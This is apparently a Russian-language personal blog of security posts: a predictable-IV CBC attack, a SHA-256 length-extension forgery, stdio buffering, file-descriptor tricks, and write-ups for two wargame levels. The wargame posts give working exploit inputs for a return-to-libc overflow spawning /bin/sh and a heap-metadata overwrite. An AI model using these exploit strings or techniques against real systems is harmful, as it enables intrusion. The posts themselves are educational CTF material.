суббота, 31 октября 2015 г.

Weak IV in CBC mode

Что может произойти, если использовать предсказуемый IV.

Предположим, имеется алгоритм блочного шифрования E зависящий от ключа k с размером блока b. Также, имеется сообщение m, которое является тайной и используется, предположим, для аутентификации.
Общая схема работы протокола выглядит следующим образом:
  1. Сервер генерирует случайное IV и ключ k; ожидает данные от клиента.
  2. Клиент генерирует произвольную последовательность r и отправляет
    серверу для генерации токена.
  3. Сервер, получив данные от клиента, конкатенирует их с секретом, дополняет
    до длины кратной размеру блока (или добавляет новый блок, если длина
    получившейся последовательности уже кратна размеру блока) и шифрует
    при помощи E, k, IV в режиме CBC
  4. Сервер выбирает новый IV равным последнему блоку зашифрованного текста
  5. Сервер возвращает клиенту последовательность [IV, N-блоков шифротекста]
  6. Сервер ожидает получения новых данных и переходит к пункту 3
Задача клиента - узнать секретное сообщение. Для большей конкретики, предположим, что в роли алгоритма шифрования выступает AES128. Также, для простоты конструкции, предположим, что длина секрета нам известна (задача вычисления длины секрета в данном протоколе тривиальна). Рассмотрим на практике возможное решение этой задачи.

Код серверной части протокола.

Код, который решает задачу нахождения секрета

Вся суть приведенного выше сводится к:
E(IV ^ P_i) = E(IV ^ C_0 ^ IV ^ (r || i)) = E(C_0 ^ P_1)

воскресенье, 25 октября 2015 г.

Hash Length Extension

Пример hash length extension атаки на mac-sha256.

Для проведения атаки необходимо :
  • Знание длины ключа.
  • Имеющийся mac-sha256 от известного значения.
Используя перечисленные выше знания можно сформировать валидный mac-sha256 без знания ключа.
Пример проверяющей-функции

Предположим, что уже имеем валидный mac
data - "data"
mac  - aa93be97ad171b84b38e931c980ceb70e0e0bb76c212ea9205356c9c3781e84e
Далее необходимо инициализировать внутреннее состояние функции sha256 используя имеющийся mac (подробнее об этом тут) и рассчитать mac для выбранного дополнения (в данном случае роль дополнения играет строка "flag")

Теперь необходимо подготовить входные данные для проверяющей системы, тут понадобится знание длины ключа.
Размер блока - 512 бит
Блок формируется так : данные + padding + длина данных
sizeof(Длина данных) = 8

Для sha функций endianness поля "Длина данных" = big-endian
Длина данных = длина секрета + длина полезной нагрузки
Длина секрета - 11 (это требуется знать заранее либо подобрать)
Длина полезной нагрузки - 4
Суммарная длина - 15 байт - 120 бит (именно количество бит идет в блок)

Получаем следующую последовательность данных - 
"data\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00xflag"

"data" - значение для которого был получен оригинальный MAC

"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00x" - padding и size, здесь size выглядит как "\x00\x00\x00\x00\x00\x00\x00x",
где восьмой элемент - 'x' = 0x78 - количество бит

len(padding + size) = 64 - (len(secret) + len(data))

flag - значение, для которого хотим получить валидный MAC
Используя приведенный выше код, получаем значение MAC
186ac0f8370146bf6b999a5dfa369e3675ce58f70e3726759f9c535442c888ab
Отдаем проверяющей системе на вход полученную последовательность с дополнением и рассчитанный MAC
[+] Ok, correct digest

среда, 3 июня 2015 г.

FILE Stream Buffering

Существует три типа буферизации потоков вывода:
  • Без буферизации (_IONBF)
  • Построчная буферизация (_IOLBF)
  • Блочная буферизация (_IOFBF)
Манипулировать этими режимами можно при помощи функций 
setbuf, setbuffer, setlinebuf, setvbuf
Сколько строк напечатает данная программа?

Если скомпилировать и запустить, на экране появятся две строки:
$ gcc -Wall -pedantic example.c -o test
$ ./test
FIRST
SECOND
Однако, если перенаправить стандартный вывод в файл, то результат окажется несколько иным
$ ./test > file.txt
$ cat file.txt
FIRST
SECOND
SECOND
Все дело в буферизации. Когда текст выводится на терминал, буферизация по умолчанию работает в построчном режиме, однако, когда мы перенаправляем стандартный вывод в файл, буферизация уже находится в блочном режиме, и, следовательно, буфер не сбрасывается сразу после вызова библиотечной функции printf. А, так как этот буфер находится в user-space, его содержимое дублируется в дочернем процессе. Когда вызывается функция exit, буферы сбрасываются. Дублирование же данных переданных write не проиcходит из-за того, что write - системный вызов. Наглядно это можно увидеть, если в приведенном коде поменять местами две строки

Результат выполнения
$ gcc -Wall -pedantic example.c -o test
$ ./test
SECOND
FIRST
$ ./test > file.txt
$ cat file.txt
FIRST
SECOND
SECOND

четверг, 16 октября 2014 г.

File Descriptors

Снова абстрактная ситуация : есть приложение, некоторый функционал которого работает с файловым дескриптором полученным как параметр извне. Другими словами, это приложение интерпретирует целое число как номер файлового дескриптора, предположим, мы можем управлять данным параметром и хотим, чтобы приложение считывало из данного дескриптора наши подставные данные.

Проверки в коде опущены по очевидным причинам.
Как известно, после системного вызова fork() дочерний процесс наследует открытые файловые дескрипторы родительского процесса. Пусть в данном случае родительским процессом будет командная оболочка.

Для того чтобы создать файловый дескриптор с произвольным номером (в диапазоне от 3-1023 ) можно выполнить следующую команду :
exec N<> some_file
Где N - номер файлового дескриптора и some_file - файл, который будет ассоциирован с данным дескриптором. Иными словами, мы создаем дескриптор для чтения и записи (использован '<>') файла some_file с номером N.
Убедиться в том, что файловый дескриптор создан можно посмотрев содержимое дирректории
ls /proc/self/fd
Далее просто перенаправляем данные в открытый дескриптор
echo 'some cool data' >&N
Следует понимать, что манупулируя дескриптором, мы на самом деле работаем с содержимым файла с которым дескриптор ассоциирован.
Закрыть файловый дескриптор можно например так
exec N>&-

Теперь вернемся к первоначальному коду, зная как манипулировать дескрипторами, мы можем легко заставить приложение прочитать данные из необходимого нам источника.
exec 3<> some_file && echo 'this is our data' >&3 && ./example 3 && exec 3>&-

вторник, 7 октября 2014 г.

Return to Libc на примере одного Wargame

Опишу простейший вариант данного типа атак.
В первую очередь уязвимый код : (пример взят из IO smashthestack)

Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.

Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
  • Адрес функции System из библиотеки Libc
  • Адрес строки, которую передадим System в качестве параметра
Небольшое отступление, так как сейчас мы рассматриваем самый простой вариант данной атаки, то сделаем предположение о базовых адресах загрузки библиотек для уязвимого приложения - а именно о том, что они остаются постоянными при перезапусках.

Начнем по порядку.
Адрес функции можно получить загрузив приложение в отладчик (в данном случае GDB) 
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7eaaf10 <system>
Со строкой все немного сложнее. В качестве строки-параметра System будем использовать переменную окружения. Определить переменную окружения можно например так :
export OWN_SHELL=/bin/sh
Программа сохраняет указатель на окружение в глобальной переменной environ.
(gdb) info variable environ
All variables matching regular expression "environ":

Non-debugging symbols:
0xb7fd0d64  __environ
0xb7fd0d64  _environ
0xb7fd0d64  environ
В данном случае, строка содержащая нужную нам команду является первой в массиве переменных окружения.
(gdb) x /s *environ
0xbffffe82:     "OWN_SHELL=/bin/sh"
В итоге получаем следующее
|---------------------------|-------------------|---------------|---------------| 
|          Data             |    0xb7eaaf10     | system-return |  0xbffffe8с   | 
|---------------------------|-------------------|---------------|---------------| 
Далее просто подбираем размер входного буфера, которого будет достаточно для перезаписи адреса возврата.
В результате получим такую строку для запуска приложения :
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\xDE\xAD\xBE\xAF"+"\x86\xfe\xff\xbf"'`
Для того, чтобы каждый раз при запуске не происходил segmentation fault можно создать нормальный
call-stack вручную, определив адрес возврата из System в Exit.
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\x50\xe5\xe9\xb7"+"\x86\xfe\xff\xbf"'`

пятница, 25 июля 2014 г.

Heap Overflow на примере одного Wargame

Использование ошибок связанных с переполнением кучи, обычно, задача довольно сложная, однако попался один простой пример, а если точнее задание на одном из wargames, который позволяет продемонстрировать технику просто и наглядно.

Итак, для начала, что имеется : процессор MSP430 (его архитектура команд довольно проста, для того чтобы понять суть происходящего, желательно прочитать вот этот мануал)

Так же имеется некоторая система аутентификации.

Дизассемблерный листинг приводить не буду, если интересно, просто дойдите до этого уровня на сайте игры, а весь рассказ будет в картинках :)

Пожалуй, начнем. Дамп по базовому адресу для динамически выделяемой памяти.
Сразу отмечаем несколько интересных значений (помните, порядок байт little-endian)
0x2408 - Адрес первого доступного блока
0x1000 - Общий допустимый размер выделяемой памяти
0x0001 - Память еще не выделялась
После первого выполнения функции malloc(0x10) дамп памяти будет уже выглядеть следующим образом (было выделено 0x10 байт памяти)
После второго выполнения malloc(0x10) (выделено еще 0x10 байт)
И после третьего вызова malloc(0x20) (выделено дополнительно 0x20 байт)
Можно заметить, что служебная информация делится на два типа : двусвязный список выделенных блоков и метаинформация, являющаяся заключительным блоком в цепочке.
Отличительной особенностью метаинформации является третья пара байт в структуре элемента списка. Рассмотрим эту структуру (размер каждого поля 2 байта).
0xADDR - Первым идет адрес предыдущего выделенного блока
0xADDR - Затем следующего выделенного блока
0xVALE - Третьим элементом является объем выделенной памяти в формате : (amount << 1) | 1
Однако, для метаинформации третье значение является объемом доступным для выделения.
0xVALE - Объем доступной для выделения памяти в формате : amount << 1
Именно по младшему биту и происходит отличие метаинформации от элемента списка.

При освобождении ранее выделенной памяти происходит процесс обратный, причем что интересно, если в данной системе пытаться освободить блок памяти, который является не последним в цепочке, то ничего не выйдет, блок по прежнему будет считаться занятым, но если, например, отметить блок в середине цепочки как содержащий метаинформацию, то вся последующая цепочка будет считаться освобожденной.

Из-за уязвимости в мехнизме обработки пользовательских данных мы получаем возможность перезаписать служебную информацию второго блока и блока содержащего метаинформацию.
Попытаемся реализовать ROP (return on pointer).

Итак, дизассемблированная функция free будет выглядеть следующим образом

Если внимательно посмотреть, то можно найти фрагменты особого внимания, то есть те, которые непосредственно позволят манипулировать содержимым памяти по указанным адресам.

Загружаем r13 значением, равным удвоенному размеру выделенного блока.
450e:  1d4f 0400      mov    0x4(r15), r13
4512:  3df0 feff      and    #0xfffe, r13
4516:  8f4d 0400      mov    r13, 0x4(r15)
Загружаем r12 значением, равным удвоенному размеру предыдущего блока, r14 ссылкой на предыдущий элемент.
451a:  2e4f           mov    @r15, r14
451c:  1c4e 0400      mov    0x4(r14), r12
И вот тут начинается интересное, дело в том, что служебный блок элемента списка мы контролируем, иными словами можем указать любой адрес в качестве адреса предыдущего блока, и любой размер текущего блока, ну а дальше то что нам и было нужно.
4524:  3c50 0600      add    #0x6, r12
4528:  0c5d           add    r13, r12
452a:  8e4c 0400      mov    r12, 0x4(r14)
r14 - указанный нами адрес, r13 - указанный нами размер блока, r12 - предыдущее значение по указанному нами адресу.
В стеке интересующий нас адрес возврата имеет смещение 0x439A, значит нужно отнять от него значение смещения размера блока (в данном случае равное 4) и получим адрес, который станет адресом предыдущего блока (0x4396). Предыдущее значение адреса возврата равняется 0x4440, размер служебной информации 0x6, также нужно отметить блок как элемент списка, для этого установив младший бит в 1, функция на которую нужно передать управление имеет адрес 0x4564, исходя из нехитрой математики получаем
block size = (0x4564 - 0x4440 - 6) | 1 = 0x11F
Остается одна небольшая хитрость, если за нашим блоком следует метаинформация, то произойдут дополнительные действия, которых нам нужно избежать, но так как содержимое метаинформации мы так же контролируем, достаточно будет пометить содержащий ее блок, как элемент списка и тогда, как ранее упоминалось, он будет пропущен.

В результате получаем следующие строки на вход (каждый символ здесь представлен в виде ascii hex-code)
name - 61616161616161616161616161616161964334241F01
pass - 626262626262626262626262626262621E2408249F1F
Дамп памяти будет выглядеть так
Выделены ключевые изменения.
А так будет выглядеть память перед возвратом из функции (выделен адрес возврата)

Конечно, это упрощенный пример и на практике все сложнее, но он дает базовые понятия о данном типе уязвимостей.

четверг, 6 февраля 2014 г.

Floating Point Exception

Все кто программировал на си, наверное, знакомы с таким понятием как сигналы, это один из механизмов IPC в POSIX совместимых операционных системах.
В данном случае речь пойдет конкретно об ошибках при вычислениях с плавающей точкой.

Для примера реализуем простую программу обрабатывающую SIGFPE :

Это демонстрационный пример и дабы не загромождать код, упустим некоторые проверки.
Начнем с вещей очевидных, что будет если передать вторым параметром 0 ?
bash -> ./sigfpe 1 0
SIGFPE catched!
Думаю всем понятно, почему все пошло именно по такому пути развития.

Теперь перейдем к чему-то более интересному и не всем известному.
Вот такой пример :
bash -> ./sigfpe -2147483648 -1
SIGFPE catched!
Почему произошло исключение? Давай-те взглянем, как представлено число -2147483648, данное число является минимальным отрицательным, которое можно представить в 32-х разрядном регистре.
-2147483648 -> 0x80000000 -> 1000 0000  0000 0000  0000 0000  0000 0000
Теперь о том, как происходит смена знака. Смена знака происходит инвертированием всех битов числа и добавления к получившемуся значению единицы. Это справедливо почти для всех чисел, кроме 0 и -2147483648

0x80000000       -> 1000 0000  0000 0000  0000 0000  0000 0000
NOT(0x80000000)  -> 0111 1111  1111 1111  1111 1111  1111 1111
ADD(1)           -> 1000 0000  0000 0000  0000 0000  0000 0000


0x00000000 -> 0000 0000  0000 0000  0000 0000  0000 0000
NOT (0)    -> FFFF FFFF  FFFF FFFF  FFFF FFFF  FFFF FFFF
ADD (1)    -> 0000 0000  0000 0000  0000 0000  0000 0000
Таким образом, число 2147483648 невозможно представить в 32-х разрядном регистре.

Интересный факт о функции abs(int) :
/* Return the absolute value of I.  */
int
abs (int i)
{
  return i < 0 ? -i : i;
}
Как уже была сказано, -INT_MIN = INT_MIN.